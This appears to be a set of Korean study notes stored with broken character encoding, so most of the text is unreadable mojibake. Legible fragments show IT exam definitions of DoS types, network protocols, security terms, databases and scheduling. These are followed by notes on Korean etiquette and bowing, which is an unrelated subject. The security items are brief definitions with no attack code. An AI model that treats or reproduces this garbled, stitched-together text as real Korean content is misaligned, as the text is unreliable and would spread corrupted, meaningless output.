์ด ๋์์ ์ ํธ๋ฅผ ์ ์กํ๋ ๊ฒฝ์ฐ ์ถฉ๋์ด ๋ฐ์ํ์ง ์๋๋ก ์ ์ดํ๋ ๊ธฐ์ Slowris : ๋ค๋์ HTTP ์ฐ๊ฒฐ์ ๋์์ ์ด๊ณ ์ ์งํ๋ DoS RUDY : ๋๋ฆฐ ์๋๋ก ์์ ๋ฐ์ดํฐ๋ฅผ ์ ์ถํ์ฌ ์ฐ๊ฒฐ ์ํ๋ฅผ ์ ์งํ๋ ๊ฒ์ ๋ชฉํ๋ก ํ๋ DoS Slow Http read Dos : HTTP ์์ฒญ ํจํท์ ํค๋๋ฅผ ๋ณ์กฐํ์ฌ ์น ์๋ฒ์ ๋ณด๋ด ์ฐ๊ฒฐ ์ํ๋ฅผ ์ ์งํ๊ฒ ํ๋ DoS SNMP(Simplified Network Management Protocol) : ๋คํธ์ํฌ ์ฅ๋น์ ์ํ๋ฅผ ๋ชจ๋ํฐ๋งํ๊ณ ๊ด๋ฆฌํ๊ธฐ ์ํ ํ๋กํ ์ฝ DHCP(Dynamic Host Configuration Protocol) : ๋คํธ์ํฌ ์ฅ์น์ IP ์ฃผ์๋ฅผ ์๋์ผ๋ก ํ ๋นํ๋ ํ๋กํ ์ฝ RARP (Reverse Address Resolution Protocol) : MAC ์ฃผ์ -> IP ์ฃผ์ ๋ณํ ํ๋กํ ์ฝ Ad-hoc ๋คํธ์ํฌ : ์ค์ ๋ผ์ฐํฐ๋ ์ก์ธ์ค ์ง์ ์์ด ์๋ก ์ง์ ํต์ ํ ์ ์๋๋ก ํ๋ ์์ ๋ถ์ฐ ๋ฌด์ ๋คํธ์ํฌ ํจํท ๊ตํ ๋ฐฉ์ ๊ฐ์ํ์ ๋ฐฉ์ : ๋ชฉ์ ์ง ํธ์คํธ์ ๋ฏธ๋ฆฌ ์ฐ๊ฒฐ ํ ํต์ ํ๋ ์ฐ๊ฒฐํ ๊ตํ ๋ฐฉ์ ๋ฐ์ดํฐ๊ทธ๋จ ๋ฐฉ์ : ํค๋๋ฅผ ๋ถ์ฌ์ ๊ฐ๋ณ์ ์ผ๋ก ์ ๋ฌํ๋ ๋น์ฐ๊ฒฐํ ๊ตํ ๋ฐฉ์ L2TP (Layer 2 Tunneling Protocol) : VPN ํ๋กํ ์ฝ์ ์ผ์ข
์ผ๋ก, PPP ํ๋กํ ์ฝ์ ์ฌ์ฉํ์ฌ ๋ฐ์ดํฐ๋ฅผ ์บก์ํํ๊ณ ์ ์กํ๋ ๋ฐฉ์ ์ค๋ฅ ์ ์ด ๋ฐฉ์ FEC (Forward Error Correction) : ์ค๋ฅ ๊ฒ์ถ, ์ค์ค๋ก ์์ ํ๋ ๋ฐฉ์ Hamming Code BEC (Backward Error Correction) : ์ค๋ฅ ๊ฒ์ถ, ์ฌ์ ์ก ์์ฒญํ๋ ๋ฐฉ์ Parity ๊ฒ์ฌ CRC (Cyclic Redundancy Check) : ๋ฐ์ดํฐ ๋ธ๋ก์ ๋ํ ๋คํญ์ ๋๋์
์ ์ฌ์ฉํ์ฌ ์์ฑ๋ ์ฒดํฌ์ฌ์ ์ด์ฉ ๋ณด์ ๊ด๋ จ ๊ฐ๋
kill switch : ์ค๋งํธํฐ ์ด์ฉ์๊ฐ ๋๋๋นํ ์ค๋งํธํฐ์ ์๋์, ์น์ฌ์ดํธ๋ฅผ ํตํด ์ ์งํ ์ ์๋๋ก ํ๋ ์ผ์ข
์ ์ํญ ๊ธฐ๋ฅ ์ ๋ก ๋ฐ์ด ๊ณต๊ฒฉ : ๋ณด์ ์ทจ์ฝ์ ์ด ์๋ ค์ง๊ธฐ ์ ์ ํด๋น ์ทจ์ฝ์ ์ ์
์ฉํ์ฌ ์ด๋ฃจ์ด์ง๋ ๊ณต๊ฒฉ ARP Spoofing : ARP ํ๋กํ ์ฝ์ ์ด์ฉํ์ฌ ๋คํธ์ํฌ ์์ ๋ค๋ฅธ ํธ์คํธ์ MAC ์ฃผ์๋ฅผ ์์กฐํ๋ ๊ณต๊ฒฉ ๊ธฐ๋ฒ ๋์งํธ ํฌ๋ ์ : ๋์งํธ ๊ธฐ๊ธฐ์์ ๋ฐ์ํ ๋ฒ์ฃ๋ ์ฌ๊ณ ์ ์ฆ๊ฑฐ๋ฅผ ์์ง, ๋ถ์, ๋ณด์กดํ๋ ๊ณผ์ ๋ฃจํธํท : ์์คํ
์ ๋ชฐ๋ ์ค์น๋์ด ์ฌ์ฉ์์ ๊ถํ์ ํ์ทจํ๊ฑฐ๋ ์์คํ
์ ์ ์ดํ๋ ์
์ฑ ์ํํธ์จ์ด ์คํผ์ด ํผ์ฑ : ํน์ ๊ฐ์ธ์ด๋ ์กฐ์ง์ ๋์์ผ๋ก ํ๋ ๋ง์ถคํ ํผ์ฑ ๊ณต๊ฒฉ APT ๊ณต๊ฒฉ : ํน์ ํ๊น์ ๋ชฉํ๋ก ๋ค์ํ ์๋จ์ ํตํ ์ง์์ ์ด๊ณ ์ง๋ฅ์ ์ธ ๋ง์ถคํ ๊ณต๊ฒฉ ๊ธฐ๋ฒ SET(Secure Electronic Transaction) : ์ ์ ์๊ฑฐ๋์์ ์์ ํ ๊ฒฐ์ ๋ฅผ ์ํ ํ๋กํ ์ฝ ์ฌ์ด๋ฒ ํฌ์ฒด์ธ : ๋กํ๋ ๋งํด์ ๊ณต๊ฒฉํ ๋ฐฉ์ ์์คํ
DAC (Discretionary Access Control) : ์ฌ์ฉ์๊ฐ ์์ ๋กญ๊ฒ ๊ฐ์ฒด์ ๋ํ ์ ๊ทผ ๊ถํ์ ๊ด๋ฆฌํ ์ ์๋ ๋ฐฉ์ MAC (Mandatory Access Control) : ์์คํ
๊ด๋ฆฌ์๊ฐ ์ ์ฑ
์ ๋ฐ๋ผ ์ฌ์ฉ์์๊ฒ ์ ๊ทผ ๊ถํ์ ๋ถ์ฌํ๋ ๋ฐฉ์ 3A (AAA) : ์ ๋ณด ๋ณด์์ ํต์ฌ์์ Authentication Authorization Accounting ISMS (Information Security Management System) : ์ ๋ณด ๋ณดํธ๋ฅผ ์ํ ๊ด๋ฆฌ ์ฒด๊ณ ์ฌํ๊ณตํ ๊ธฐ๋ฒ : ์ธ๊ฐ์ ์ฌ๋ฆฌ์ ํ๋์์์ ์ด์ฉํ์ฌ ์ ๋ณด๋ฅผ ํ์ทจํ๊ฑฐ๋ ์์คํ
์ ์นจ์
ํ๋ ๊ธฐ๋ฒ SIEM : ๋ณด์ ์ ๋ณด ๋ฐ ์ด๋ฒคํธ ๊ด๋ฆฌ ์์คํ
; ๋ณด์ ๋ก๊ทธ์ ์ด๋ฒคํธ๋ฅผ ์์ง, ๋ถ์ํ์ฌ ์ค์๊ฐ์ผ๋ก ๋ณด์ ์ํ์ ํ์งํ๊ณ ๋์ํ๋ ์์คํ
์ VS ๋ฐ์ด๋ฌ์ค ์ : ์ค์ค๋ก ๋ณต์ ํ์ฌ ๋คํธ์ํฌ๋ฅผ ํตํด ์ ํ๋๋ ์
์ฑ ์ฝ๋; ํธ์คํธ ํ์ผ์ ๊ฐ์ผ์ํค์ง ์์ ๋ฐ์ด๋ฌ์ค : ํธ์คํธ ํ์ผ์ ์ฝ์
๋์ด ์คํ๋ ๋๋ง ํ์ฑํ๋๋ ์
์ฑ ์ฝ๋; ํธ์คํธ ํ์ผ์ ๊ฐ์ผ์ํด ๋์นญํค, ๋น๋์นญํค(๊ณต๊ฐํค) ๋์นญํค : AES, DES, ARIA SEED ๋น๋์นญํค : RSA, ECC ATM(Asynchronous Transfer Mode) : ๊ณ ์ ๋ฐ์ดํฐ ์ ์ก์ ์ํ ์
๊ธฐ๋ฐ์ ํจํท ๊ตํ ๋ฐฉ์; 53๋ฐ์ดํธ์ ๊ณ ์ ๊ธธ์ด ์
์ ์ฌ์ฉ ์ค๋จธํ(Smurfing) : ICMP ํจํท์ ์ด์ฉํ์ฌ ๋๋์ ํธ๋ํฝ์ ๋ฐ์์ํค๋ DoS ๊ณต๊ฒฉ ๊ธฐ๋ฒ; ๊ณต๊ฒฉ์๊ฐ ๋ธ๋ก๋์บ์คํธ ์ฃผ์๋ก ICMP Echo ์์ฒญ์ ๋ณด๋ด๊ณ , ์๋ต์ ํ๊ฒ์๊ฒ ์ ์กํ๊ฒ ํจ ๋ฐ์ดํฐ๋ฒ ์ด์ค ๊ด๋ จ ๊ฐ๋
๋๊ด์ ๊ฒ์ฆ : ํธ๋์ญ์
์ ์ผ๋จ ์ํํ๊ณ , ํธ๋์ญ์
์ข
๋ฃ ์ ๊ฒ์ฆ์ ์ํํ์ฌ ๋ฐ์ดํฐ๋ฒ ์ด์ค ๋ฐ์ํ๋ ๊ธฐ๋ฒ 2PC (Two-Phase Commit) : ๋ถ์ฐ ๋ฐ์ดํฐ๋ฒ ์ด์ค ์์คํ
์์ ํธ๋์ญ์
์ ์์์ฑ์ ๋ณด์ฅํ๊ธฐ ์ํด ๋ ๋จ๊ณ๋ก ์ปค๋ฐ์ ์ํํ๋ ๋ฐฉ์ ์์ ํจ์ ์ข
์(Full) : ๋ฆด๋ ์ด์
์ ๋ชจ๋ ์์ฑ์ด ๊ธฐ๋ณธํค์๋ง ์ข
์๋๋ ์ํ ๋ถ๋ถ ํจ์ ์ข
์(Partial) : ๋ฆด๋ ์ด์
์ ์ผ๋ถ ์์ฑ์ด ๊ธฐ๋ณธํค์๋ง ์ข
์๋๋ ์ํ ์ดํ ํจ์ ์ข
์(Transient) : A->B, B->C ์ด๋ฉด A->C๊ฐ ์ฑ๋ฆฝํ๋ ์ํ ์ฒดํฌํฌ์ธํธ ํ๋ณต ๊ธฐ๋ฒ : ์ฅ์ ๋ฐ์ ์ ๊ฒ์ฌ์ ์ดํ์ ์ฒ๋ฆฌ๋ ํธ๋์ญ์
์ ๋ํด์๋ง ์ฅ์ ๋ฅผ ๋ณต๊ตฌํ๋ ๊ธฐ๋ฒ ๋กํน : ๋ค์ค ํธ๋์ญ์
ํ๊ฒฝ์์ ํธ๋ ์ญ์
์ ์์ฐจ์ ์งํ์ ๋ณด์ฅํ๋ ์ง๋ ฌํ ๊ธฐ๋ฒ LIKE ๋ฌธ๋ฒ % : 0๊ฐ ์ด์์ ๋ฌธ์์ด๊ณผ ์ผ์น [ ] : 1๊ฐ์ ๋ฌธ์์ ์ผ์น [^ ] : 1๊ฐ์ ๋ฌธ์์ ๋ถ์ผ์น _ : ํน์ ์์น์ 1๊ฐ ๋ฌธ์์ ์ผ์น ๊ด๊ณ ํด์ : ๋น์ ์ฐจ์ ์ธ์ด; ๊ด๊ณ ๋ฐ์ดํฐ๋ฒ ์ด์ค์์ ๋ฐ์ดํฐ๋ฅผ ์ง์ํ๊ธฐ ์ํ ์ํ์ ํํ ๋ฐฉ๋ฒ ALL : ์ฃผ๋ก ์๋ธ์ฟผ๋ฆฌ์์ ์ฌ์ฉํ๋ ๋ค์คํ ์ฐ์ฐ์; ๋ชจ๋ ํ์ด ์กฐ๊ฑด์ ๋ง์กฑํด์ผ ํจ ANY : ์ฃผ๋ก ์๋ธ์ฟผ๋ฆฌ์์ ์ฌ์ฉํ๋ ๋ค์คํ ์ฐ์ฐ์; ํ๋ ์ด์์ ํ์ด ์กฐ๊ฑด์ ๋ง์กฑํ๋ฉด ์ฐธ ๊ด๊ณ๋์ ๊ธฐํธ: $\cup$(ํฉ์งํฉ), $-$(์ฐจ์งํฉ), $\times$(์นดํฐ์
๊ณฑ), $\pi$(ํ๋ก์ ํธ), $\bowtie$(์กฐ์ธ), $\sigma$(์ ํ), $\div$(๋๋์
) ์กฐ์ธ ๋ฐฉ์ Theta Join : ์กฐ์ธ ์กฐ๊ฑด์ด ๋ฑํธ๊ฐ ์๋ ๋ค๋ฅธ ๋น๊ต ์ฐ์ฐ์๋ฅผ ์ฌ์ฉํ๋ ์กฐ์ธ ๋ฐฉ์ Equi Join : ์กฐ์ธ ์กฐ๊ฑด์ด ๋ฑํธ(=)์ธ ์กฐ์ธ ๋ฐฉ์ Natural Join : ๋ ๋ฆด๋ ์ด์
์ ๊ณตํต ์์ฑ์ ๊ธฐ์ค์ผ๋ก ์๋์ผ๋ก ์กฐ์ธํ๋ ๋ฐฉ์ ์ธ์
ํ์ด์ฌํน (Session Hijacking) : ์ฌ์ฉ์์ ์ธ์
์ ํ์ทจํ์ฌ ๋ถ๋ฒ์ ์ผ๋ก ์ ๊ทผํ๋ ๊ณต๊ฒฉ ๊ธฐ๋ฒ OS ๊ด๋ จ ๊ฐ๋
๋ง์ดํฌ๋ก์ปค๋ : ๋ค์ํ ์๋น์ค๋ฅผ Kernel Mode๊ฐ ์๋ User Mode์์ ์ฒ๋ฆฌํ๋ ์ด์ํ ์ปค๋ ํ๋ก์ธ์ค ์ค์ผ์ฅด๋ง SJF(Shortest Job First) : ๊ฐ์ฅ ์งง์ ์์
์ ๋จผ์ ์ฒ๋ฆฌํ๋ ๋ฐฉ์ HRN (Highest Response Ratio Next) : ๋๊ธฐ ์๊ฐ๊ณผ ์๋น์ค ์๊ฐ์ ๊ณ ๋ คํ์ฌ ์ฐ์ ์์๋ฅผ ๊ฒฐ์ ํ๋ ๋ฐฉ์ RR(Round Robin) : ๊ฐ ํ๋ก์ธ์ค์ ๋์ผํ ์๊ฐ ํ ๋น๋์ ์ฃผ๊ณ ์ํ์ ์ผ๋ก ์ฒ๋ฆฌํ๋ ๋ฐฉ์ SRTF(Shortest Remaining Time First) : ๋จ์ ์คํ ์๊ฐ์ด ๊ฐ์ฅ ์งง์ ํ๋ก์ธ์ค๋ฅผ ๋จผ์ ์ฒ๋ฆฌํ๋ ๋ฐฉ์ ํผํฐ์จ ์๊ณ ๋ฆฌ์ฆ : ๋ ํ๋ก์ธ์ค ๊ฐ์ ์ํธ ๋ฐฐ์ ๋ฅผ ๋ณด์ฅํ๋ ์๊ณ ๋ฆฌ์ฆ; ํ๋๊ทธ์ ํด์ ์ฌ์ฉํ์ฌ ์ํธ ๋ฐฐ์ ์ ์ง์
ํ์ฉ์ ๊ตฌํ ๊ธฐํ ๊ฐ๋
ํผ์ฝ๋ท : ์ฌ๋ฌ ๊ฐ์ ๋
๋ฆฝ๋ ์ฅ์น๊ฐ ๋ธ๋ฃจํฌ์ค ๊ธฐ์ ์ด๋ UWB ํต์ ๊ธฐ์ ์ ์ฌ์ฉํ์ฌ ํต์ ๋ง์ ํ์ฑํ๋ ๋ฌด์ ๋คํธ์ํฌ ๊ธฐ์ ์ง๊ทธ๋น :์ ์ ์ ์ก ์๋๋ฅผ ๊ฐ๋ ํ์คํ ๋ฉ์ด์
๋ฐ ๋ฐ์ดํฐ ๋คํธ์ํฌ๋ฅผ ์ํ ํ์ค ๊ธฐ์ ํด๋ฆฌ์ด๋ง ํ์ฐ์ค : ๋์งํธ ์ ์๊ถ ๋ผ์ด์ ์ฑ์ ์ค๊ฐํ๊ณ ๋ผ์ด์ ์ค ๋ฐ๊ธ์ ์ํํ๋ ์ ์ฐ์ ๋ฐ์ดํฐ ๋งํธ : ๋ฐ์ดํฐ์ ํ ๋ถ๋ถ์ผ๋ก์ ํน์ ์ฌ์ฉ์๊ฐ ๊ด์ฌ์ ๊ฐ๋ ๋ฐ์ดํฐ๋ค์ ๋ด์ ๋น๊ต์ ์์ ๊ท๋ชจ์ ๋ฐ์ดํฐ ์จ์ดํ์ฐ์ค OLAP : ์จ๋ผ์ธ ๋ถ์ ์ฒ๋ฆฌ; ๋ฐ์ดํฐ ์จ์ดํ์ฐ์ค์ ๋ฐ์ดํฐ๋ฅผ ์ ๋ต์ ์ธ ์ ๋ณด๋ก ๋ณํ์์ผ์ ์์ฌ๊ฒฐ์ ์ ์ง์ํ๋ ์ญํ ์ํ semantic web : ์น ์์ ์ ๋ณด์ ์๋ฏธ๋ฅผ ๋ถ์ฌํ์ฌ ๊ธฐ๊ณ๊ฐ ์ดํดํ ์ ์๋๋ก ํ๋ ๊ธฐ์ ์จํจ๋ก์ง(Ontology) : ํน์ ๋๋ฉ์ธ์ ๋ํ ๊ฐ๋
๊ณผ ๊ทธ๋ค ๊ฐ์ ๊ด๊ณ๋ฅผ ์ ์ํ๋ ๋ช
์ธ ๋์งํธ ์์นด์ด๋น : ๋์งํธ ์๋ฃ๋ฅผ ์ฅ๊ธฐ์ ์ผ๋ก ๋ณด์กดํ๊ณ ๊ด๋ฆฌํ๋ ๊ณผ์ CEP(Complex Event Processing) : ์ค์๊ฐ์ผ๋ก ๋๋์ ์ด๋ฒคํธ๋ฅผ ์ฒ๋ฆฌํ๊ณ ๋ถ์ํ๋ ๊ธฐ์ ๋
ธ๋ชจํฌ๋น์ : ์ค๋งํธํฐ์ ์์ด๋ฒ๋ฆฌ๊ฑฐ๋ ์ฌ์ฉํ ์ ์๋ ์ํฉ์ ๋ํ ๋ถ์๊ฐ ITIL(Information Technology Infrastructure Library) : ์๊ตญ ์ ๋ถ๊ฐ ๋ค์ํ IT ์๋น์ค๋ค์ ๊ด๋ฆฌ ๋ฐฉ๋ฒ๋ค์ ๋ชจ์ ๋ง๋ ํ์ค์ ์ธ ์ฐธ๊ณ ๋ฌธ์ ๋ฐ์ดํฐ ๋ง์ด๋ : ๋๋์ ๋ฐ์ดํฐ์์ ์ ์ฉํ ์ ๋ณด๋ฅผ ์ถ์ถํ๋ ๊ณผ์ ์คํ ์คํ : ์ํ์น ๋ผ์ด์ ์ค๋ก ๋ฐฐํฌ๋๋ ํด๋ผ์ฐ๋ ํ๋ซํผ ํ๋ก์ ํธ BCP(Business Continuity Planning) : ์ฌํด ๋ฐ์ ์ ๋น์ฆ๋์ค ์ด์์ ์ง์ํ๊ธฐ ์ํ ๊ณํ Trust Zone : ARM์์ ๊ฐ๋ฐํ ๋ณด์ ๊ธฐ์ ๋ก, ํ๋์จ์ด ๊ธฐ๋ฐ์ ๋ณด์ ์์ญ์ ์ ๊ณตํ์ฌ ๋ฏผ๊ฐํ ๋ฐ์ดํฐ๋ฅผ ๋ณดํธํ๋ ๊ธฐ์ WSDL (Web Services Description Language) : ์น ์๋น์ค์ ๊ธฐ๋ฅ์ ๊ธฐ์ ํ๋ XML ๊ธฐ๋ฐ์ ์ธ์ด EAI : ๊ธฐ์
๋ด ๋ค์ํ ์์คํ
๊ฐ์ ๋ฐ์ดํฐ ํตํฉ ๋ฐ ์ํธ ์ด์ฉ์ฑ์ ์ํ ์๋ฃจ์
NUI (Natural User Interface) : ์ ์ฒด๋ฅผ ํ์ฉํ ์ฌ์ฉ์ ์ธํฐํ์ด์ค ์ํธํ ์๊ณ ๋ฆฌ์ฆ : AES, DES, RSA, IDEA, Skipjack CVS : Concurrent Versions System; ๋ถ์ฐ ๋ฒ์ ๊ด๋ฆฌ ์์คํ
; ์ค์ ์ง์ค์ ๋ฒ์ ๊ด๋ฆฌ ์์คํ
SVN : Subversion; ๋ฒ์ ๊ด๋ฆฌ ์์คํ
์ ์ผ์ข
; CVS์ ๋จ์ ์ ๋ณด์ํ๊ธฐ ์ํด ๊ฐ๋ฐ๋จ ๊ธ๋ก๋ฒ ๋งค๋ ๋งค๋ ์ธ๊ฐ๊ด๊ณ๋ฅผ ๋งบ๋๋ฐ ์์ด ์ค์ํ ์์
์ด์ : Manus(์, ํ๋, ์ต๊ด) + Arius(๋ฐฉ๋ฒ, ๋ฐฉ์)
๋งค๋์ ๊ธฐ๋ณธ(1)
๋ค๋ฅธ ์ฌ๋์ ์ธ๊ฒฉ์ ์กด์คํ๊ณ , ๋ฐฐ๋ คํ๋ ๋ง์์ ๊ฐ์ง๊ณ , ํธ์ํ๊ฒ ํด์ฃผ๊ฑฐ๋ ๊ธฐ์๊ฒ ๋ง๋ค๋ ค๋ ํ๋๋ฐฉ์
๋งค๋์ ๊ธฐ๋ณธ(2)
์ญ์ง์ฌ์ง (ๆๅฐๆไน)
๋งค๋์ ๊ธฐ๋ณธ(3)
ํ์์ ์น์ฐ์น์ง ๋ง๊ณ , ๋ฐฐ๋ คํ๋ ๋ง์์ ์ ๋ฌํ๋ ๊ฒ
๋งค๋์ ์ํฐ์ผ์ ์ฐจ์ด ๋งค๋(์์) : ์ํฉ์ ๋ฐ๋ผ ๋ค๋ฅด๊ฒ ํํ ๊ฐ๋ฅ ์ํฐ์ผ(๋ฒ์ ) : ํ์๊ณผ ์ ์ฐจ๋ฅผ ์ค์์ ํจ ๋์์ ๋งค๋ 5๋
์ธ, ์, ์, ์ง, ์
5๋ฅ
๊ตฐ์ ์ ์ : ์๊ธ์ ์๋ก์์ผ ํ๊ณ ์ ํ๋ ์ถฉ์ฑ์ค๋ฌ์์ผ ํ๋ค ๋ถ์์ ์น : ๋ถ๋ชจ๋ ์๋
์๊ฒ ์ธ์ํ๊ณ ์๋
๋ ๋ถ๋ชจ๋ฅผ ๊ณต๊ฒฝํด์ผํ๋ค. ๋ถ๋ถ์ ๋ณ : ์๋ก์ ์ญํ ์ ์นจ๋ฒํ์ง ์์์ผ ํ๋ค ์ฅ์ ์ ์ : ์ด๋ฅธ๊ณผ ์ด๋ฆฐ์์ด ์ฌ์ด์๋ ์ง์๊ฐ ์์ด์ผ ํ๋ค ๋ถ์ฐ์ ์ : ์น๊ตฌ ์ฌ์ด์๋ ์ ๋ขฐ๊ฐ ์์ด์ผํ๋ค ์์์ ๋งค๋ (๊ธฐ์ : ์ฑ๊ฒฝ) ์๊ธฐ๋ฅผ ๋์ด๋ ์ฌ๋์ ๋ฎ์์ง๊ณ ์๊ธฐ๋ฅผ ๋ฎ์ถ๋ ์ฌ๋์ ๋์์ง๋ค ๋ค๊ฐ ๋์ ๋ฐ๊ณ ์ ํ๋ ๋๋ก ๋ค๋ฅธ ์ฌ๋์๊ฒ ํํ๋ผ ๋ค ์ด์์ ๋ค ๋ชธ์ฒ๋ผ ์ฌ๋ํ๋ผ ๋์์ ๋งค๋์ ์ฐจ์ด ๊ณตํต์ : ๋จ์ ์กด์คํ๊ณ ๋ฐฐ๋ คํจ ์ฐจ์ด์ : ๋์ -> ๋จ์ฑ์ฐ์ , ์์ -> ์ฌ์ฑ์ฐ์ ์๊ฐ์ ์ธ์ฌ 1 ์๊ธฐ์๊ฐ ์ฑ๊ณผ ์ด๋ฆ (OOO ์
๋๋ค)
์ฑ์ O๊ฐ, ๋ณธ๊ด์ OO ์
๋๋ค
์๋ฒ์ง ํจ์๋ ํ ๊ธธ์ ๋์ ์
๋๋ค
์๊ฐ๋ ์ผ์ด๋์
์๋๊ณผ ์ฃผ์ธ์ ์ธ์ฌ ์ ์๋์ด ๋จผ์ ์ธ์ฌํ๋ค
์งํฉ-์ด๋ฆ ์์ผ๋ก ์๊ธฐ์๊ฐ ํ๋ค
ํ์ฌ ์ง๊ธ ์ฌ์ฅ - ์ ๋ฌด - ์ด์ฌ - ๋ถ์ฅ - ์ฐจ์ฅ - ๊ณผ์ฅ - ๋๋ฆฌ - ์ฃผ์ - ์ฌ์
์๊ฐ ์์ ์์๋ซ์ฌ๋์ ์์์ฌ๋์๊ฒ ๋ฏธํผ์๋ฅผ ๊ธฐํผ์์๊ฒ ํ ์ฌ๋์ ๊ทธ๋ฃน์๊ฒ, ๊ทธ๋ฃน์์ ๋์ ์ฌ๋ ๋ถํฐ (๊ทธ๋ฃน ์ข์ธก ๋ถํฐ) ์๊ฐ ์ ๋งคํ ๊ฒฝ์ฐ “OO๋ถํฐ ์๊ฐ๋๋ ค๋ ๋ ๊น์?” ๋ฉํธ ์ง์, ์ฐ๋ น, ์ฑ๋ณ์ ๋ฌด์ํ๊ณ ์๊ธฐ ๊ฐ์กฑ์ ํ์ธ์๊ฒ ๋จผ์ ์๊ฐ ์์ ์๊ฐ ์๊ฐ ๋ชฉ์ ๊ณผ ๋ณธ์ธ๊ณผ์ ๊ด๊ณ๋ฅผ ๋ฐํ ๊ฐ๋ดํ ์ํ์๋ก ์๋ขฐํ ์ฌ๋์๊ฒ ์ ๋ฌ : ์๋ขฐ์๋ ๋ด์ฉ์ ํ์ธ ํ ๊ฒ ์๊ฐ์ฅ์ ์จ ์ฃผ์ ๋ถ์๊ฒ ์งํ์ํฉ ๋ง์๋๋ฆด ๊ฒ ์ธ์ฌ ๋ง๋ฌ์ ๋๋ ํค์ด์ง ๋ ์๋ฅผ ํํ๋ ๋ง์ด๋ ํ๋
์ธ์ฌ์ ๊ธฐ๋ฅ ์๋๋ฐฉ์ ๋ํ ํ์๊ณผ ํธ์๋ฅผ ํ์ ์๋๋ฐฉ๊ณผ์ ๊ด๊ณ๋ฅผ ์ค๋ช
ํด์ค๋ค ์ฒ์ ๋ง๋๋ ์๋์ ๋ํ ๊ฒฝ๊ณ์ฌ๊ณผ ๋ถ์๊ฐ ํด์ ๊ณต์ ๋ ์์ ๋ชจ์ ์์ผ๋ก ์ก๋ ๊ฒ ์ ์ ๊ธฐ๋ณธ ์์ธ ์์๋ซ ์ฌ๋์ ์์ธ ๋จ์๋ ์ผ์์ ์, ์ฌ์๋ ์ค๋ฅธ์์ ์ (ํ์ฌ ์ ๋ฐ๋๋ก) ์๋ก (์) ๊ณต์ํ ์์ ์ฌ๋ฆฌ๋ ๊ฒ (์ ํ๊ธฐ ์ ์) ์๊ฐ์ ์ธ์ฌ 2 ์ฐ๋ฆฌ๋๋ผ ์ ์ ์ข
๋ฅ ํฐ์ : ๋ถ๋ชจ๋, ์กฐ๋ถ๋ชจ๋๊ป, ์๋กํ์ฌ์, ์ฅ๋ก์๋ ์์ ์์ ํ์ : ์ฅ๋ก์์์ ์์ฃผ์ ํ๋ ์ ๋ฐ์ : ์์ด๋ฅธ์ด ์๋ซ์ฌ๋์ ์ ์ ๋ํด ๋ต๋ฐฐ ํ ๋ ์ฌ์ฑ์ ํฐ์ ๊ณต์์์ธ (์ค๋ฅธ์์ด ์๋ก) ๊ณต์ํ ์์ ์ด๊นจ ๋์ด๋ก ์ฌ๋ฆฐ๋ค. ๊ณ ๊ฐ๋ฅผ ์์ฌ์ ์ด๋ง๋ฅผ ์๋ฑ์ ๋ถ์ธ๋ค (์์ ๋์ด < ์ด๊นจ) ์ฒ์ฒํ ์์ผ๋ฉด์ ์ผ์ชฝ ๋ฌด๋ฆ์ ๋จผ์ ๊ฟ๋๋ค ์ค๋ฅธ๋ฐ์์ ์ผ๋ฐ์ ํฌ๊ฐ ๋ค (์์ด๋ ๋ฐ๋) ์๋ฉ์ด๋ฅผ ๋ด๋ ค ๊น๊ฒ ์๋๋ค ๋ชธ์ 45๋ ์์ผ๋ก ๊ตฝํ๋ค (์๋ฑ์ ์ด๋ง์์ ๋ผ์ง ๋ง๊ฒ) ์ค๋ฅธ์ชฝ ๋ฌด๋ฆ๋ถํฐ ์ผ์ด๋๋ค ์ ์ด ๋๋๋ฉด ์์ ๋ด๋ฆฐ๋ค ๊ณต์ํ ์ฑ ๋ชธ์ 15๋ ๊ตฝํ ์๋ฅผ ํํ (๊ตด์ ๋ก) ์ฌ์ฑ์ ํ์ ๊ณต์์์ธ (์ค๋ฅธ์์ด ์๋ก) ๊ณต์ํ ์์ ํ์ด ์์์ผ๋ก ๋ด๋ฆฐ๋ค ์ฒ์ฒํ ์์ผ๋ฉด์ ์ผ์ชฝ ๋ฌด๋ฆ์ ๋จผ์ ๊ฟ๋๋ค ์ค๋ฅธ๋ฐ์์ ์ผ๋ฐ์ ํฌ๊ฐ ๋ค ์๋์ด ๋ฐ๊นฅ์ ํฅํ๋๋ก ํ์ฌ ๋ฐ๋ฅ์ ๋๋ค ํ๋ฆฌ๋ฅผ 30๋ ๊ตฝํ๋ค๊ฐ ํ๋ฆฌ๋ฅผ ํด๋ฉฐ, ์์์ ๋ฐ๋ฅ์์ ๋ผ๊ณ ์ฒ์ฒํ ์ผ์ด๋๋ค ์ค๋ฅธ์ชฝ ๋ฌด๋ฆ๋ถํฐ ์ผ์ด๋๋ค ๊ณต์ํ ์ฑ ๋ชธ์ 30๋ ๊ตฝํ ์๋ฅผ ํํ (๊ตด์ ๋ก) ๋จ์ฑ์ ํฐ์ ๊ณต์์์ธ (์ผ์์ด ์๋ก) ์๋ก ๊ณต์ํ ์์ ๋์น ๋์ด๋ก ์ฌ๋ฆฐ๋ค ํ๋ฆฌ์ ๋ฌด๋ฆ์ ๊ตฝํ ๊ณต์ํ ์์ผ๋ก ๋ฐ๋ฅ์ ์ง๋๋ค ์ผ์ชฝ ๋ฌด๋ฆ์ ๋จผ์ ๊ฟ๋๋ค ์ผ๋ฐ์ด ์์ ๋๊ฒ ๋ฐ๋ฑ์ ํฌ๊ฐ ๋ค ํ๊ฟ์น๋ ์ด์ง ์๊ณ ๋ชธํต ์ชฝ์ผ๋ก ๋ถ์ด๊ณ ์ด๋ง๋ฅผ ๊ณต์ํ ์์ ๋๋ค ์ค๋ฅธ์ชฝ ๋ฌด๋ฆ๋ถํฐ ์ผ์ด๋๋ค ๊ณต์ ๋จ์์ ํ์ ๋ชจ๋ ๋์์ ํฐ์ ๊ณผ ๋์ผํ๋ค ๋ค๋ง ์๋ก๋ฅผ ํ์ง์๊ณ , ์ด๋ง๊ฐ ์๋ฑ์ ๋ฟ์ผ๋ฉด ์ฆ์ ์ผ์ด๋๋ค ๋ฐํ ์ฌ์ฑ : ํ์ ์์ ์์ธ๊น์ง ๋จ์ฑ : ๋ฌด๋ฆ์ ๊ฟ์ ์ํ์์ ๋จธ๋ฆฌ์ ์๋ฉ์ด๊ฐ ์ํ ์ดํ์ ๊ณต์์์ธ ํ์ X ๊ฒฝ๋ก 3๋ณด ์์์ ๋ฉ์ถค, ๋์ ๋ง์ฃผ์นจ, ์ธ์ฌ๋ง ๊ฑด๋ด, ๊ฒฝ๋ก, ๋ค์ ๋์ ๋ง์ฃผ์นจ ๋จ์๋ ์์ชฝ ์์ ๊ฐ๋ณ๊ฒ 